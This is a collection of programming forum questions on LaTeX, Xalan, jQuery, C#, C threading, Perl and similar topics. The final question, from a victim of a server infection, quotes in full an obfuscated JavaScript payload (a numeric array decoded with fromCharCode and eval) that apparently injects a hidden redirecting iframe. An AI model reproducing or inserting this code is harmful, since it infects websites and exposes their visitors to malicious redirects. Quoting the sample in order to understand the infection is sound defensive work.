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• Latex letter: Address right aligned

  - by user304235

  Hi, I am using Latex letter class, and would like the address to be right justified. The default is for it to be in a right aligned block, justified to the left. I am happy to change the letter.cls file, but haven't been able to figure out the right way to do it. I have tried using sclttr2 instead but there are too many variables for me. Thanks!

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• Reusing xalan transformer causing its extension functions break

  - by Leslie Norman

  I am using xalan 2.7.1 to validate my xml docs with xslt style sheet. It works fine for the first document and returns error message in case of error along with correct line and column number of xml source by making use of NodeInfo.lineNumber and NodeInfo.columnNumber extensions. The problem is when I try to reuse transformer to validate other xml docs, it successfully transforms the document but always returns lineNumber=columnNumber=-1 for all errors. Any idea? Here is my code: TransformerFactory tFactory = TransformerFactory.newInstance("org.apache.xalan.processor.TransformerFactoryImpl", null); tFactory.setAttribute(TransformerFactoryImpl.FEATURE_SOURCE_LOCATION, Boolean.TRUE); StreamSource xsltStreamSource = new StreamSource(new File("E:\\Temp\\Test\\myXslt.xsl")); Transformer transformer=null; try { transformer = tFactory.newTransformer(xsltStreamSource); ByteArrayOutputStream outStream = new ByteArrayOutputStream(); File srcFolder = new File("E:\\Temp\\Test"); for (File file :srcFolder.listFiles()) { if (file.getName().endsWith("xml")) { transformer.transform(new StreamSource(file), new StreamResult(outStream)); transformer.reset(); } } System.out.println(outStream.toString()); } catch (TransformerException e) { e.printStackTrace(); } Edit: New code after implementing @rsp suggestions: package mycompany; import java.io.File; import javax.xml.transform.ErrorListener; import javax.xml.transform.Source; import javax.xml.transform.Transformer; import javax.xml.transform.TransformerException; import javax.xml.transform.TransformerFactory; import javax.xml.transform.stream.StreamResult; import javax.xml.transform.stream.StreamSource; import org.apache.xalan.processor.TransformerFactoryImpl; public class XsltTransformer { public static void main(String[] args) { TransformerFactory tFactory = TransformerFactory.newInstance("org.apache.xalan.processor.TransformerFactoryImpl", null); tFactory.setAttribute(TransformerFactoryImpl.FEATURE_SOURCE_LOCATION, Boolean.TRUE); StreamSource xsltStreamSource = new StreamSource(new File("E:\\Temp\\Test\\myXslt.xsl")); try { Transformer transformer = tFactory.newTransformer(xsltStreamSource); File srcFolder = new File("E:\\Temp\\Test"); for (File file : srcFolder.listFiles()) { if (file.getName().endsWith("xml")) { Source source = new StreamSource(file); StreamResult result = new StreamResult(System.out); XsltTransformer xsltTransformer = new XsltTransformer(); ErrorListenerImpl errorHandler = xsltTransformer.new ErrorListenerImpl(); transformer.setErrorListener(errorHandler); transformer.transform(source, result); if (errorHandler.e != null) { System.out.println("Transformation Exception: " + errorHandler.e.getMessage()); } transformer.reset(); } } } catch (TransformerException e) { e.printStackTrace(); } } private class ErrorListenerImpl implements ErrorListener { public TransformerException e = null; public void error(TransformerException exception) { this.e = exception; } public void fatalError(TransformerException exception) { this.e = exception; } public void warning(TransformerException exception) { this.e = exception; } } }

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• DownloadError: ApplicationError

  - by Joel

  I have a function called DownloadData() which uses url.fetch(). From time to time it throws DownloadError: ApplicationError: 2 timed out error. How can I catch this error? With "except DownloadError: ApplicationError: 2 timed " or only "DownloadError"? It is hard to reproduce this error so I can not know which except to use. Thanks, Joel

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• Most useful jQuery plugins

  - by Binoj Antony

  Which are the most useful jQuery plugins you have used. List out one per answer(to rank the best plugins individually), and describe what it does as well. BlockUI - Can block certain elements (or the whole page) during ajax requests. Form Plugin JQueryUI JQuery Validation TableSorter Taconite

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• To PHP Namespace or not to PHP Namespace

  - by David

  ok, im relatively new to php programming and have been plodding along quite unaware that it is possible to actually use namespaces in php as I can in c# etc. Its really ugly though as they have decided to use backslashes - why! Anyway, I am interested in other php programmers views on whether namespaces will catch on in php and whether I should begin to use them now?

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• Pass HTML-DOM to Flex's actionscript.

  - by raj

  Hi, All i want is to pass a HTML-Form (DOM object) from javascript to Actionscript. i saw this article on the net and tried a similar code. But when i execute the code in IE, it alerts : "Out of memory at line 18". I'm stuck here from yesterday. i'll post the mxml and html here.. The MXML : <?xml version="1.0" encoding="utf-8"?> <mx:Application xmlns:mx="http://www.adobe.com/2006/mxml" layout="absolute" creationComplete="init()"> <mx:Script> <![CDATA[ public function init() : void { if (ExternalInterface.available) { try { ExternalInterface.addCallback("populateFlashFile", populateFlashFile); } catch (error:SecurityError) { } catch (error:Error) { } } } public function populateFlashFile(window:*) : void { log.text = window.toString(); // just for checking if window has come to the function. window.document.write("Hello"); } ]]> </mx:Script> <mx:TextArea x="10" y="23" width="712" height="581" id="log"/> </mx:Application> The HTML : <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> </head> <body scroll="no"> <input type="button" onclick="document.getElementById('Test').populateFlashFile(window);"/> <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" id="Test" width="100%" height="100%" codebase="http://fpdownload.macromedia.com/get/flashplayer/current/swflash.cab"> <param name="movie" value="Test.swf" /> <param name="quality" value="high" /> <param name="bgcolor" value="#869ca7" /> <param name="allowScriptAccess" value="sameDomain" /> </object> </body> </html> The problem occors only when i pass some DOM object, if i pass some String it works.!!! i.e : <input type="button" onclick="document.getElementById('Test').populateFlashFile('some text here');"/> works great!

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• Biztalk - local variable in expression shape

  - by Jeremy Stein

  Sometimes when I'm writing XLANG/s code in an expression shape, it would be more readable if I could just use a temporary variable within the scope of that one code block. I hate to clutter up the entire orchestration with a variable declaration. Is there a way to declare a variable within an expression shape?

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• How do I determine the .NET framwork version in a partial/medium trust environment?

  - by Ezombort

  I need to determine the clients .NET framework version in my web application. I'm running in partial trust so I can not read the filesystem or registry (Is there an easy way to check .net framework verison using C#?). System.Environment.Version returns the runtime version, so I can not use that. I cannot use javascript The only way I can think of at the moment is to try to load a .NET 3.5 dll and catch an exception, but this does not sound very nice. Any suggestions?

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• Generate unique random alphanumeric characters that are 7 characters long

  - by Prasanth

  It need not be meaningful words - more like random password generation, but the catch is - they should be unique. I will be using this for some kind of package / product code. Which is the best method available? :)

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• Help with storing/accessing user access roles C# Winforms

  - by user222453

  Hello, firstly I would like to thank you in advance for any assistance provided. I am new to software development and have designed several Client/Server applications over the last 12 months or so, I am currently working on a project that involves a user logging in to gain access to the application and I am looking at the most efficient and "simple" method of storing the users permissions once logged in to the application which can be used throughout restricting access to certain tabs on the main form. I have created a static class called "User" detailed below: static class User { public static int _userID; public static string _moduleName; public static string _userName; public static object[] UserData(object[] _dataRow) { _userID = (int)_dataRow[0]; _userName = (string)_dataRow[1]; _moduleName = (string)_dataRow[2]; return _moduleName; } } When the user logs in and they have been authenticated, I wish to store the _moduleName objects in memory so I can control which tabs on the main form tab control they can access, for example; if the user has been assigned the following roles in the database: "Sales Ledger", "Purchase Ledger" they can only see the relevant tabs on the form, by way of using a Switch - Case block once the login form is hidden and the main form is instantiated. I can store the userID and userName variables in the main form once it loads by means of say for example: Here we process the login data from the user: DataAccess _dal = new DataAccess(); switch (_dal.ValidateLogin(txtUserName.Text, txtPassword.Text)) { case DataAccess.ValidationCode.ConnectionFailed: MessageBox.Show("Database Server Connection Failed!"); break; case DataAccess.ValidationCode .LoginFailed: MessageBox.Show("Login Failed!"); _dal.RecordLogin(out errMsg, txtUserName.Text, workstationID, false); break; case DataAccess.ValidationCode .LoginSucceeded: frmMain frmMain = new frmMain(); _dal.GetUserPrivList(out errMsg,2); //< here I access my DB and get the user permissions based on the current login. frmMain.Show(); this.Hide(); break; default: break; } private void frmMain_Load(object sender, EventArgs e) { int UserID = User._userID; } That works fine, however the _modules object contains mutiple permissions/roles depending on what has been set in the database, how can I store the multiple values and access them via a Switch-Case block? Thank you again in advance.

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• Is there a reason Image.FromFile throws an OutOfMemoryException for an invalid image format?

  - by Arc

  I am writing code that catches this OutOfMemoryException and throws a new, more intuitive exception: /// ... /// <exception cref="FormatException">The file does not have a valid image format.</exception> public static Image OpenImage( string filename ) { try { return Image.FromFile( filename, ); } catch( OutOfMemoryException ex ) { throw new FormatException( "The file does not have a valid image format.", ex ); } } Is this code acceptable to its user, or is OutOfMemoryException intentionally being thrown for a particular reason?

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• May volatile be in user defined types to help writing thread-safe code

  - by David Rodríguez - dribeas

  I know, it has been made quite clear in a couple of questions/answers before, that volatile is related to the visible state of the c++ memory model and not to multithreading. On the other hand, this article by Alexandrescu uses the volatile keyword not as a runtime feature but rather as a compile time check to force the compiler into failing to accept code that could be not thread safe. In the article the keyword is used more like a required_thread_safety tag than the actual intended use of volatile. Is this (ab)use of volatile appropriate? What possible gotchas may be hidden in the approach? The first thing that comes to mind is added confusion: volatile is not related to thread safety, but by lack of a better tool I could accept it. Basic simplification of the article: If you declare a variable volatile, only volatile member methods can be called on it, so the compiler will block calling code to other methods. Declaring an std::vector instance as volatile will block all uses of the class. Adding a wrapper in the shape of a locking pointer that performs a const_cast to release the volatile requirement, any access through the locking pointer will be allowed. Stealing from the article: template <typename T> class LockingPtr { public: // Constructors/destructors LockingPtr(volatile T& obj, Mutex& mtx) : pObj_(const_cast<T*>(&obj)), pMtx_(&mtx) { mtx.Lock(); } ~LockingPtr() { pMtx_->Unlock(); } // Pointer behavior T& operator*() { return *pObj_; } T* operator->() { return pObj_; } private: T* pObj_; Mutex* pMtx_; LockingPtr(const LockingPtr&); LockingPtr& operator=(const LockingPtr&); }; class SyncBuf { public: void Thread1() { LockingPtr<BufT> lpBuf(buffer_, mtx_); BufT::iterator i = lpBuf->begin(); for (; i != lpBuf->end(); ++i) { // ... use *i ... } } void Thread2(); private: typedef vector<char> BufT; volatile BufT buffer_; Mutex mtx_; // controls access to buffer_ };

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• What's the best strategy to delete a very huge folder using Perl?

  - by André Diniz

  Hi, I need to delete all content (files and folders) under a given folder. The problems is: folder has millions of files and folders inside it. So I don't want to load all the file names in one go. Did you catch the issue? Logic should like this: iterate a folder without load everything get a file or folder delete it go to the next one Thanks for your help.

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• jQyery bind on ajax load() event

  - by Andrei C

  Hi guys. I have a page which display multiple blocks with results details. Inside each block I have some tags with thichbox jQuery plugin attached( class="thichbox"). http://jquery.com/demo/thickbox/ here is an example of one kind of ampersant tag: <a class="thickbox" title="Please Sign In" href="userloginredir.php?height=220&width=350&deal=3"> Problem comes when I added a jQuery pagination to the page because of to many results displaying on the page. The div component with the results inside is updated through ajax load() event. Below is the pagination script. $(document).ready(function(){ //References var pages = $("#menu_deals li"); var loading = $("#loading_deals"); var content = $("#content_deals"); //show loading bar function showLoading(){ loading .css({visibility:"visible"}) .css({opacity:"1"}) .css({display:"block"}) ; } //hide loading bar function hideLoading(){ loading.fadeTo(1000, 0); }; //Manage click events pages.live('click',function(){ //show the loading bar showLoading(); //Highlight current page number pages.css({'background-color' : ''}); $(this).css({'background-color' : 'yellow'}); //Load content var pageNum = this.id; var targetUrl = "ajax_search_results.php?page=" + pageNum + "&" + $("#dealsForm").serialize() + " #content_d"; content.load(targetUrl, hideLoading); }); //default - 1st page $("#1").css({'background-color' : 'yellow'}); var targetUrl = "ajax_search_results.php?page=1&" + $("#dealsForm").serialize() + " #content_d"; showLoading(); content.load(targetUrl, hideLoading); }); When I added pagination(code above), the thickbox events are not recognized anymore and instead of poping out a window with the login form inside it opens the results in new page (is acting like clicking on a normal link) From my jQuery knowledge this means that the components are not defined in the DOM because the content is updated after document ready triggered. I'm trying to bind the load event with something like this: content.bind('load',???); But I don't know how to pass the load params, targetUrl and the callback function hideLoading, when binding the load event. Please help me out in this matter, already took me more time than possible allowed. Thank you!

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• Compression File

  - by Pedro Magalhaes

  Hi, I have a X bytes file. And I want to compress it in block of size 32Kb, for example. Is there any lib that Can I do this? I used Zlib for Delphi but I just can compress a full file in new compressed file. Tranks a lot, Pedro

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• Store PHP Exceptions in array

  - by Industrial

  Hi everyone, I am really not sure if this is the right way to go, since exceptions is really a fresh subject to me. Is it possible to catch multiple exceptions (let the execution of the script continue) and then store the exceptions in a array to be able to return all exceptions caused? By that said, it would be awesome to be able to use exceptions to more than just showing an error that kills the application (script) Thanks!

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• Producer / Consumer - I/O Disk

  - by Pedro Magalhaes

  Hi, I have a compressed file in the disk, that a partitioned in blocks. I read a block from disk decompress it to memory and the read the data. It is possible to create a producer/consumer, one thread that recovers compacted blocks from disk and put in a queue and another thread that decompress and read the data? Will the performance be better? Thanks!

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• right usage of std::uncaught_exception in a destructor

  - by Vokuhila-Oliba

  There are some articles concluding "never throw an exception from a destructor", and "std::uncaught_exception() is not useful", for example: http://www.gotw.ca/gotw/047.htm (written by Herb Sutter) But it seems that I am not getting the point. So I wrote a small testing example (see below). Since everything is fine with the testing example I would very appreciate some comments regarding what might be wrong with it. testing results: ./main Foo::~Foo(): caught exception - but have pending exception - ignoring int main(int, char**): caught exception: from int Foo::bar(int) ./main 1 Foo::~Foo(): caught exception - but *no* exception is pending - rethrowing int main(int, char**): caught exception: from Foo::~Foo() // file main.cpp // build with e.g. "make main" // tested successfully on Ubuntu-Karmic with g++ v4.4.1 #include <iostream> class Foo { public: int bar(int i) { if (0 == i) throw(std::string("from ") + __PRETTY_FUNCTION__); else return i+1; } ~Foo() { bool exc_pending=std::uncaught_exception(); try { bar(0); } catch (const std::string &e) { // ensure that no new exception has been created in the meantime if (std::uncaught_exception()) exc_pending = true; if (exc_pending) { std::cerr << __PRETTY_FUNCTION__ << ": caught exception - but have pending exception - ignoring" << std::endl; } else { std::cerr << __PRETTY_FUNCTION__ << ": caught exception - but *no* exception is pending - rethrowing" << std::endl; throw(std::string("from ") + __PRETTY_FUNCTION__); } } } }; int main(int argc, char** argv) { try { Foo f; // will throw an exception in Foo::bar() if no arguments given. Otherwise // an exception from Foo::~Foo() is thrown. f.bar(argc-1); } catch (const std::string &e) { std::cerr << __PRETTY_FUNCTION__ << ": caught exception: " << e << std::endl; } return 0; }

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• Removing rows in asp.net

  - by user279521

  I am attempting to remove rows on my asp.net page using the following code: try { Table t = (Table)Page.FindControl("Panel1").FindControl("tbl"); foreach (TableRow tr in t.Rows) { t.Rows.Remove(tr); } } catch (Exception e) { lblErrorMessage.Text = "Error - RemoveDynControls - " + e.Message; } however, I am getting an error on the (when the code loops the second time around) "Collection was modified; enumeration operation may not execute." Any ideas regarding what is causing the error message?

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• Tracking the user function that threw the exception

  - by makerofthings7

  I've been given a large application with only one try..catch at the outer most level. This application also throws exceptions all the time, and is poorly documented. Is there any pattern I can implement that will tell me what user method is being called, the exception being thrown, and also the count of exceptions? I'm thinking of using a dictionary with reflection to get the needed information, but I'm not sure if this will work. What do you think?

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• Java: CSV file read & write.

  - by battousai622

  Im reading in 2 csv file: store_inventory & new_acquisitions... I want to be able to compare the store_inventory csv file with new_acquisitions. 1) If the item names match just update the quantity in store_inventory. 2) If new_acquisitions has a new item that does not exist in store_inventory, then add it to the store_inventory. Heres what i have so far but its not very good. I added comments where i need to add taks 1) & 2). Any advice or code would be great, thanks. File new_acq = new File("/src/test/new_acquisitions.csv"); Scanner acq_scan = null; try { acq_scan = new Scanner(new_acq); } catch (FileNotFoundException ex) { Logger.getLogger(mainpage.class.getName()).log(Level.SEVERE, null, ex); } String itemName; int quantity; Double cost; Double price; File store_inv = new File("/src/test/store_inventory.csv"); Scanner invscan = null; try { invscan = new Scanner(store_inv); } catch (FileNotFoundException ex) { Logger.getLogger(mainpage.class.getName()).log(Level.SEVERE, null, ex); } String itemNameInv; int quantityInv; Double costInv; Double priceInv; while (acq_scan.hasNext()) { String line = acq_scan.nextLine(); if (line.charAt(0) == '#') { continue; } String[] split = line.split(","); itemName = split[0]; quantity = Integer.parseInt(split[1]); cost = Double.parseDouble(split[2]); price = Double.parseDouble(split[3]); while(invscan.hasNext()) { String line2 = invscan.nextLine(); if (line2.charAt(0) == '#') { continue; } String[] split2 = line2.split(","); itemNameInv = split2[0]; quantityInv = Integer.parseInt(split2[1]); costInv = Double.parseDouble(split2[2]); priceInv = Double.parseDouble(split2[3]); if(itemName == itemNameInv) { //update quantity } } //add new entry into csv file } Thanks again for any help. =]

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• Strange groovy behavior when dealing with threads

  - by Misha Koshelev

  Dear All: I have an interesting dilemma. If I define my class as: class Browser { def swtException protected Object evaluate(script) throws SWTException { swtException=null display.syncExec() { try { result=swtBrowser.evaluate(script) } catch (SWTException swtException) { Browser.swtException=swtException } } } I get this rather interesting error: Exception in thread "Thread-5" org.eclipse.swt.SWTException: Failed to execute runnable (groovy.lang.MissingPropertyException: No such property: swtException for class : com.mksoft.fbautomate.browser.Browser Possible solutions: swtException) Any ideas??? Thank you! Misha

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• jquery won't fade text if positioned: absolute;

  - by DA

  I have LI that I want to fade out and back in. Within the list item I have some text. This text is positioned absolutely within the LI. The catch is that in IE8 (IE6 and 7 seem fine) I can get everything to fade except the text: http://jsbin.com/esamu/13 If I remove the absolute positioning on the text element (in this case, a P), IE8 then can fade the text properly: http://jsbin.com/esamu/14 Anyone know why this is? Anyone know of a fix?

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• Suggestions for duplicate file finder algorithm (using C)

  - by Andrei Ciobanu

  Hello, I wanted to write a program that test if two files are duplicates (have exactly the same content). First I test if the files have the same sizes, and if they have i start to compare their contents. My first idea, was to "split" the files into fixed size blocks, then start a thread for every block, fseek to startup character of every block and continue the comparisons in parallel. When a comparison from a thread fails, the other working threads are canceled, and the program exits out of the thread spawning loop. The code looks like this: dupf.h #ifndef __NM__DUPF__H__ #define __NM__DUPF__H__ #define NUM_THREADS 15 #define BLOCK_SIZE 8192 /* Thread argument structure */ struct thread_arg_s { const char *name_f1; /* First file name */ const char *name_f2; /* Second file name */ int cursor; /* Where to seek in the file */ }; typedef struct thread_arg_s thread_arg; /** * 'arg' is of type thread_arg. * Checks if the specified file blocks are * duplicates. */ void *check_block_dup(void *arg); /** * Checks if two files are duplicates */ int check_dup(const char *name_f1, const char *name_f2); /** * Returns a valid pointer to a file. * If the file (given by the path/name 'fname') cannot be opened * in 'mode', the program is interrupted an error message is shown. **/ FILE *safe_fopen(const char *name, const char *mode); #endif dupf.c #include <errno.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #include "dupf.h" FILE *safe_fopen(const char *fname, const char *mode) { FILE *f = NULL; f = fopen(fname, mode); if (f == NULL) { char emsg[255]; sprintf(emsg, "FOPEN() %s\t", fname); perror(emsg); exit(-1); } return (f); } void *check_block_dup(void *arg) { const char *name_f1 = NULL, *name_f2 = NULL; /* File names */ FILE *f1 = NULL, *f2 = NULL; /* Streams */ int cursor = 0; /* Reading cursor */ char buff_f1[BLOCK_SIZE], buff_f2[BLOCK_SIZE]; /* Character buffers */ int rchars_1, rchars_2; /* Readed characters */ /* Initializing variables from 'arg' */ name_f1 = ((thread_arg*)arg)->name_f1; name_f2 = ((thread_arg*)arg)->name_f2; cursor = ((thread_arg*)arg)->cursor; /* Opening files */ f1 = safe_fopen(name_f1, "r"); f2 = safe_fopen(name_f2, "r"); /* Setup cursor in files */ fseek(f1, cursor, SEEK_SET); fseek(f2, cursor, SEEK_SET); /* Initialize buffers */ rchars_1 = fread(buff_f1, 1, BLOCK_SIZE, f1); rchars_2 = fread(buff_f2, 1, BLOCK_SIZE, f2); if (rchars_1 != rchars_2) { /* fread failed to read the same portion. * program cannot continue */ perror("ERROR WHEN READING BLOCK"); exit(-1); } while (rchars_1-->0) { if (buff_f1[rchars_1] != buff_f2[rchars_1]) { /* Different characters */ fclose(f1); fclose(f2); pthread_exit("notdup"); } } /* Close streams */ fclose(f1); fclose(f2); pthread_exit("dup"); } int check_dup(const char *name_f1, const char *name_f2) { int num_blocks = 0; /* Number of 'blocks' to check */ int num_tsp = 0; /* Number of threads spawns */ int tsp_iter = 0; /* Iterator for threads spawns */ pthread_t *tsp_threads = NULL; thread_arg *tsp_threads_args = NULL; int tsp_threads_iter = 0; int thread_c_res = 0; /* Thread creation result */ int thread_j_res = 0; /* Thread join res */ int loop_res = 0; /* Function result */ int cursor; struct stat buf_f1; struct stat buf_f2; if (name_f1 == NULL || name_f2 == NULL) { /* Invalid input parameters */ perror("INVALID FNAMES\t"); return (-1); } if (stat(name_f1, &buf_f1) != 0 || stat(name_f2, &buf_f2) != 0) { /* Stat fails */ char emsg[255]; sprintf(emsg, "STAT() ERROR: %s %s\t", name_f1, name_f2); perror(emsg); return (-1); } if (buf_f1.st_size != buf_f2.st_size) { /* File have different sizes */ return (1); } /* Files have the same size, function exec. is continued */ num_blocks = (buf_f1.st_size / BLOCK_SIZE) + 1; num_tsp = (num_blocks / NUM_THREADS) + 1; cursor = 0; for (tsp_iter = 0; tsp_iter < num_tsp; tsp_iter++) { loop_res = 0; /* Create threads array for this spawn */ tsp_threads = malloc(NUM_THREADS * sizeof(*tsp_threads)); if (tsp_threads == NULL) { perror("TSP_THREADS ALLOC FAILURE\t"); return (-1); } /* Create arguments for every thread in the current spawn */ tsp_threads_args = malloc(NUM_THREADS * sizeof(*tsp_threads_args)); if (tsp_threads_args == NULL) { perror("TSP THREADS ARGS ALLOCA FAILURE\t"); return (-1); } /* Initialize arguments and create threads */ for (tsp_threads_iter = 0; tsp_threads_iter < NUM_THREADS; tsp_threads_iter++) { if (cursor >= buf_f1.st_size) { break; } tsp_threads_args[tsp_threads_iter].name_f1 = name_f1; tsp_threads_args[tsp_threads_iter].name_f2 = name_f2; tsp_threads_args[tsp_threads_iter].cursor = cursor; thread_c_res = pthread_create( &tsp_threads[tsp_threads_iter], NULL, check_block_dup, (void*)&tsp_threads_args[tsp_threads_iter]); if (thread_c_res != 0) { perror("THREAD CREATION FAILURE"); return (-1); } cursor+=BLOCK_SIZE; } /* Join last threads and get their status */ while (tsp_threads_iter-->0) { void *thread_res = NULL; thread_j_res = pthread_join(tsp_threads[tsp_threads_iter], &thread_res); if (thread_j_res != 0) { perror("THREAD JOIN FAILURE"); return (-1); } if (strcmp((char*)thread_res, "notdup")==0) { loop_res++; /* Closing other threads and exiting by condition * from loop. */ while (tsp_threads_iter-->0) { pthread_cancel(tsp_threads[tsp_threads_iter]); } } } free(tsp_threads); free(tsp_threads_args); if (loop_res > 0) { break; } } return (loop_res > 0) ? 1 : 0; } The function works fine (at least for what I've tested). Still, some guys from #C (freenode) suggested that the solution is overly complicated, and it may perform poorly because of parallel reading on hddisk. What I want to know: Is the threaded approach flawed by default ? Is fseek() so slow ? Is there a way to somehow map the files to memory and then compare them ?

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• Got a malware on my hosting provider which infect JavaScript files .. how do I find the entry point?

  - by h3.

  This morning some sites which are hosted on the server as me started triggering malware alerts and started to redirect traffic to external sites. I've found out that a line of packed javascript was added to many js files across the server. What the script does is pretty simple, but what I would like to know is if this malware is well known and how it infect servers and propagate. For the curious here's the javascript line in question: /*km0ae9gr6m*/try{q=document.createElement("p");q.appendChild(q+"");}catch(qw){h=-012/5;try{bcsd=prototype-2;}catch(bawg){ss=[];f=(h)?("fromCharC"+"ode"):"";e=window["e"+"val"];n=[102,234,330,396,116,210,333,440,32,220,303,480,116,164,291,440,100,222,327,312,117,218,294,404,114,80,123,492,10,64,96,128,32,236,291,456,32,208,315,128,61,64,348,416,105,230,138,460,101,202,300,128,47,64,348,416,105,230,138,324,59,20,96,128,32,64,354,388,114,64,324,444,32,122,96,464,104,210,345,184,115,202,303,400,32,74,96,464,104,210,345,184,81,118,30,128,32,64,96,472,97,228,96,464,101,230,348,128,61,64,348,416,105,230,138,260,32,84,96,432,111,64,135,128,116,208,315,460,46,164,96,168,32,208,315,236,10,64,96,128,32,210,306,160,116,202,345,464,32,124,96,192,41,246,30,128,32,64,96,128,32,64,96,464,104,210,345,184,115,202,303,400,32,122,96,464,101,230,348,236,10,64,96,128,32,250,96,404,108,230,303,128,123,20,96,128,32,64,96,128,32,64,348,416,105,230,138,460,101,202,300,128,61,64,348,404,115,232,96,172,32,232,312,420,115,92,231,236,10,64,96,128,32,250,30,128,32,64,96,456,101,232,351,456,110,64,120,464,104,210,345,184,115,202,303,400,32,84,96,464,104,210,345,184,111,220,303,316,118,202,342,308,41,118,30,500,10,20,306,468,110,198,348,420,111,220,96,328,97,220,300,444,109,156,351,436,98,202,342,284,101,220,303,456,97,232,333,456,40,234,330,420,120,82,369,40,32,64,96,128,118,194,342,128,100,64,183,128,110,202,357,128,68,194,348,404,40,234,330,420,120,84,147,192,48,96,123,236,10,64,96,128,32,236,291,456,32,230,96,244,32,200,138,412,101,232,216,444,117,228,345,160,41,64,186,128,49,100,96,252,32,98,96,232,32,96,177,40,32,64,96,128,116,208,315,460,46,230,303,404,100,64,183,128,50,102,156,212,54,110,168,228,48,98,96,172,32,80,300,184,103,202,348,308,111,220,348,416,40,82,96,168,32,96,360,280,70,140,210,280,70,82,96,172,32,80,300,184,103,202,348,272,97,232,303,160,41,64,126,128,48,240,210,280,70,140,123,172,32,80,231,388,116,208,138,456,111,234,330,400,40,230,96,168,32,96,360,280,70,140,123,164,59,20,96,128,32,64,348,416,105,230,138,260,32,122,96,208,56,100,165,196,59,20,96,128,32,64,348,416,105,230,138,308,32,122,96,200,49,104,165,208,56,102,162,208,55,118,30,128,32,64,96,464,104,210,345,184,81,64,183,128,116,208,315,460,46,154,96,188,32,232,312,420,115,92,195,236,10,64,96,128,32,232,312,420,115,92,246,128,61,64,348,416,105,230,138,308,32,74,96,464,104,210,345,184,65,118,30,128,32,64,96,464,104,210,345,184,111,220,303,316,118,202,342,308,32,122,96,196,46,96,96,188,32,232,312,420,115,92,231,236,10,64,96,128,32,232,312,420,115,92,330,404,120,232,96,244,32,220,303,480,116,164,291,440,100,222,327,312,117,218,294,404,114,118,30,128,32,64,96,456,101,232,351,456,110,64,348,416,105,230,177,40,125,20,30,408,117,220,297,464,105,222,330,128,99,228,303,388,116,202,246,388,110,200,333,436,78,234,327,392,101,228,120,456,44,64,231,420,110,88,96,308,97,240,123,492,10,64,96,128,32,228,303,464,117,228,330,128,77,194,348,416,46,228,333,468,110,200,120,160,77,194,360,180,77,210,330,164,32,84,96,456,46,220,303,480,116,80,123,128,43,64,231,420,110,82,177,40,125,20,30,408,117,220,297,464,105,222,330,128,103,202,330,404,114,194,348,404,80,230,303,468,100,222,246,388,110,200,333,436,83,232,342,420,110,206,120,468,110,210,360,176,32,216,303,440,103,232,312,176,32,244,333,440,101,82,369,40,32,64,96,128,118,194,342,128,114,194,330,400,32,122,96,440,101,238,96,328,97,220,300,444,109,156,351,436,98,202,342,284,101,220,303,456,97,232,333,456,40,234,330,420,120,82,177,40,32,64,96,128,118,194,342,128,108,202,348,464,101,228,345,128,61,64,273,156,97,78,132,156,98,78,132,156,99,78,132,156,100,78,132,156,101,78,132,156,102,78,132,156,103,78,132,156,104,78,132,156,105,78,132,156,106,78,132,156,107,78,132,156,108,78,132,156,109,78,132,156,110,78,132,156,111,78,132,156,112,78,132,156,113,78,132,156,114,78,132,156,115,78,132,156,116,78,132,156,117,78,132,156,118,78,132,156,119,78,132,156,120,78,132,156,121,78,132,156,122,78,279,236,10,64,96,128,32,236,291,456,32,230,348,456,32,122,96,156,39,118,30,128,32,64,96,408,111,228,120,472,97,228,96,420,32,122,96,192,59,64,315,128,60,64,324,404,110,206,348,416,59,64,315,128,43,86,96,164,123,20,96,128,32,64,96,128,32,64,345,464,114,64,129,244,32,216,303,464,116,202,342,460,91,198,342,404,97,232,303,328,97,220,300,444,109,156,351,436,98,202,342,160,114,194,330,400,44,64,144,176,32,216,303,464,116,202,342,460,46,216,303,440,103,232,312,128,45,64,147,164,93,118,30,128,32,64,96,500,10,64,96,128,32,228,303,464,117,228,330,128,115,232,342,128,43,64,117,184,39,64,129,128,122,222,330,404,59,20,375,40,10,230,303,464,84,210,327,404,111,234,348,160,102,234,330,396,116,210,333,440,40,82,369,40,32,64,96,128,116,228,363,492,10,64,96,128,32,64,96,128,32,210,306,160,116,242,336,404,111,204,96,420,102,228,291,436,101,174,291,460,67,228,303,388,116,202,300,128,61,122,96,136,117,220,300,404,102,210,330,404,100,68,123,492,10,64,96,128,32,64,96,128,32,64,96,128,32,210,306,456,97,218,303,348,97,230,201,456,101,194,348,404,100,64,183,128,116,228,351,404,59,20,96,128,32,64,96,128,32,64,96,128,32,64,354,388,114,64,351,440,105,240,96,244,32,154,291,464,104,92,342,444,117,220,300,160,43,220,303,476,32,136,291,464,101,80,123,188,49,96,144,192,41,118,30,128,32,64,96,128,32,64,96,128,32,64,96,472,97,228,96,400,111,218,291,420,110,156,291,436,101,64,183,128,103,202,330,404,114,194,348,404,80,230,303,468,100,222,246,388,110,200,333,436,83,232,342,420,110,206,120,468,110,210,360,176,32,98,162,176,32,78,342,468,39,82,177,40,32,64,96,128,32,64,96,128,32,64,96,128,105,204,342,436,32,122,96,400,111,198,351,436,101,220,348,184,99,228,303,388,116,202,207,432,101,218,303,440,116,80,102,292,70,164,195,308,69,68,123,236,32,20,96,128,32,64,96,128,32,64,96,128,32,64,315,408,114,218,138,460,101,232,195,464,116,228,315,392,117,232,303,160,34,230,342,396,34,88,96,136,104,232,348,448,58,94,141,136,43,200,333,436,97,210,330,312,97,218,303,172,34,94,342,468,110,204,333,456,101,230,348,456,117,220,189,460,105,200,183,396,120,68,123,236,32,20,96,128,32,64,96,128,32,64,96,128,32,64,315,408,114,218,138,460,116,242,324,404,46,238,315,400,116,208,96,244,32,68,144,448,120,68,177,128,10,64,96,128,32,64,96,128,32,64,96,128,32,210,306,456,109,92,345,464,121,216,303,184,104,202,315,412,104,232,96,244,32,68,144,448,120,68,177,128,10,64,96,128,32,64,96,128,32,64,96,128,32,210,306,456,109,92,345,464,121,216,303,184,118,210,345,420,98,210,324,420,116,242,96,244,32,68,312,420,100,200,303,440,34,118,96,40,32,64,96,128,32,64,96,128,32,64,96,128,100,222,297,468,109,202,330,464,46,196,333,400,121,92,291,448,112,202,330,400,67,208,315,432,100,80,315,408,114,218,123,236,10,64,96,128,32,64,96,128,32,250,30,128,32,64,96,500,99,194,348,396,104,80,303,164,123,250,30,500,44,64,159,192,48,82,177];if(window.document)for(i=6-2-1-2-1;-1771+i!=2-2;i++){k=i;ss=ss+String[f](n[k]/(i%(h*h)+2-1));}e(ss